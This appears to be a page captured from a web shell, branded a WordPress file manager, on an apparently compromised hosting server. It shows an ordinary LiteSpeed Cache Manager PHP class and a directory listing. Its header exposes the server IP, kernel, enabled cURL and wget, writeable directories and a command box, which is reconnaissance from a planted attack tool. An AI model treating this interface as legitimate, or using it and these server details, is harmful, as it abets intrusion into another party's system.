GRAYBYTE WORDPRESS FILE MANAGER7582

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/local/lsws/add-ons/webcachemgr/src/View/Model/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/local/lsws/add-ons/webcachemgr/src/View/Model//VersionManageViewModel.php
<?php

/** ******************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author Michael Alegre
 * @copyright (c) 2018-2022 LiteSpeed Technologies, Inc.
 * ******************************************* */

namespace Lsc\Wp\View\Model;

use Lsc\Wp\WPInstallStorage;
use Lsc\Wp\Context\Context;
use Lsc\Wp\PluginVersion;
use Lsc\Wp\Logger;
use Lsc\Wp\LSCMException;

class VersionManageViewModel
{

    /**
     * @var string
     */
    const FLD_ICON = 'icon';

    /**
     * @var string
     */
    const FLD_VERSION_LIST = 'versionList';

    /**
     * @var string
     */
    const FLD_ALLOWED_VER_LIST = 'allowedList';

    /**
     * @var string
     */
    const FLD_ACTIVE_VER = 'activeVer';

    /**
     * @var string
     */
    const FLD_ERR_MSGS = 'errMsgs';

    /**
     * @var string
     */
    const FLD_STATE = 'state';

    /**
     * @var int
     */
    const ST_INSTALLS_DISCOVERED = 2;

    /**
     * @deprecated 1.13.4.1  Added back as a deprecated constant after
     *     accidental removal in v1.13.4. Use
     *     self::ST_NO_NON_ERROR_INSTALLS_DISCOVERED instead.
     *
     * @var int
     */
    const ST_NO_INSTALLS_DISCOVERED = 1;

    /**
     * @var int
     */
    const ST_NO_NON_ERROR_INSTALLS_DISCOVERED = 1;

    /**
     * @var int
     */
    const ST_SCAN_NEEDED = 0;

    /**
     * @var WPInstallStorage
     */
    protected $wpInstallStorage;

    /**
     * @var (boolean|string|string[])[]
     */
    protected $tplData = array();

    /**
     *
     * @param WPInstallStorage $wpInstallStorage
     *
     * @throws LSCMException  Thrown indirectly by $this->init() call.
     */
    public function __construct( WPInstallStorage $wpInstallStorage )
    {
        $this->wpInstallStorage = $wpInstallStorage;

        $this->init();
    }

    /**
     *
     * @throws LSCMException  Thrown indirectly by $this->setIconPath() call.
     * @throws LSCMException  Thrown indirectly by $this->setActiveVerData()
     *     call.
     * @throws LSCMException  Thrown indirectly by $this->setVerListData() call.
     * @throws LSCMException  Thrown indirectly by $this->setMsgData() call.
     */
    protected function init()
    {
        $this->setIconPath();
        $this->setActiveVerData();
        $this->setVerListData();
        $this->setStateData();
        $this->setMsgData();
    }

    /**
     *
     * @param string $field
     *
     * @return null|boolean|string|string[]
     */
    public function getTplData( $field )
    {
        if ( !isset($this->tplData[$field]) ) {
            return null;
        }

        return $this->tplData[$field];

    }

    /**
     *
     * @throws LSCMException  Thrown indirectly by Logger::debug() call.
     */
    protected function setIconPath()
    {
        $iconPath = '';

        try {
            $iconDir = Context::getOption()->getIconDir();
            $iconPath = "$iconDir/lscwpCurrentVersion.svg";
        }
        catch ( LSCMException $e ) {
            Logger::debug($e->getMessage() . ' Could not get icon directory.');
        }

        $this->tplData[self::FLD_ICON] = $iconPath;
    }

    /**
     *
     * @throws LSCMException  Thrown indirectly by Logger::debug() call.
     */
    protected function setActiveVerData()
    {
        try {
            $currVer = PluginVersion::getCurrentVersion();
        }
        catch ( LSCMException $e ) {
            Logger::debug(
                $e->getMessage() . ' Could not get active LSCWP version.'
            );

            $currVer = false;
        }

        $this->tplData[self::FLD_ACTIVE_VER] = $currVer;
    }

    protected function setStateData()
    {
        if ( $this->wpInstallStorage->getError() == 0 ) {

            if ( $this->wpInstallStorage->getCount(true) > 0 ) {
                $this->tplData[self::FLD_STATE] = self::ST_INSTALLS_DISCOVERED;
            }
            else {
                $this->tplData[self::FLD_STATE] =
                    self::ST_NO_NON_ERROR_INSTALLS_DISCOVERED;
            }
        }
        else {
            $this->tplData[self::FLD_STATE] = self::ST_SCAN_NEEDED;
        }
    }

    /**
     *
     * @throws LSCMException  Thrown indirectly by PluginVersion::getInstance()
     *     call.
     * @throws LSCMException  Thrown indirectly by Logger::debug() call.
     */
    protected function setVerListData()
    {
        $vermgr = PluginVersion::getInstance();

        try
        {
            $verList = $vermgr->getShortVersions();
            $allowedList = $vermgr->getAllowedVersions();
        }
        catch ( LSCMException $e )
        {
            Logger::debug(
                $e->getMessage() . ' Could not retrieve version list.'
            );

            $verList = $allowedList = array();
        }

        $this->tplData[self::FLD_VERSION_LIST] = $verList;
        $this->tplData[self::FLD_ALLOWED_VER_LIST] = $allowedList;
    }

    /**
     *
     * @throws LSCMException  Thrown indirectly by Logger::getUiMsgs() call.
     */
    protected function setMsgData()
    {
        $this->tplData[self::FLD_ERR_MSGS] = Logger::getUiMsgs(Logger::UI_ERR);
    }

    /**
     *
     * @return string
     *
     * @throws LSCMException  Thrown indirectly by Context::getOption() call.
     */
    public function getTpl()
    {
        return Context::getOption()->getSharedTplDir() . '/VersionManage.tpl';
    }

}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
April 30 2025 22:14:03
root / root
0775
Ajax
--
April 30 2025 22:14:03
root / root
0775
CacheRootNotSetViewModel.php
0.682 KB
April 30 2025 22:14:03
root / root
0664
DashNotifierViewModel.php
2.567 KB
April 30 2025 22:14:03
root / root
0664
DataFileMsgViewModel.php
2.052 KB
April 30 2025 22:14:03
root / root
0664
ManageViewModel.php
14.154 KB
April 30 2025 22:14:03
root / root
0664
MassDashDisableProgressViewModel.php
2.123 KB
April 30 2025 22:14:03
root / root
0664
MassDashNotifyProgressViewModel.php
2.163 KB
April 30 2025 22:14:03
root / root
0664
MassEnableDisableProgressViewModel.php
3.308 KB
April 30 2025 22:14:03
root / root
0664
MassEnableDisableViewModel.php
2.783 KB
April 30 2025 22:14:03
root / root
0664
MissingTplViewModel.php
1.008 KB
April 30 2025 22:14:03
root / root
0664
RefreshStatusProgressViewModel.php
1.672 KB
April 30 2025 22:14:03
root / root
0664
ScanProgressStepViewModel.php
3.62 KB
April 30 2025 22:14:03
root / root
0664
ScanProgressViewModel.php
2.685 KB
April 30 2025 22:14:03
root / root
0664
UnflagAllProgressViewModel.php
1.663 KB
April 30 2025 22:14:03
root / root
0664
VersionChangeViewModel.php
1.74 KB
April 30 2025 22:14:03
root / root
0664
VersionManageViewModel.php
5.289 KB
April 30 2025 22:14:03
root / root
0664

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF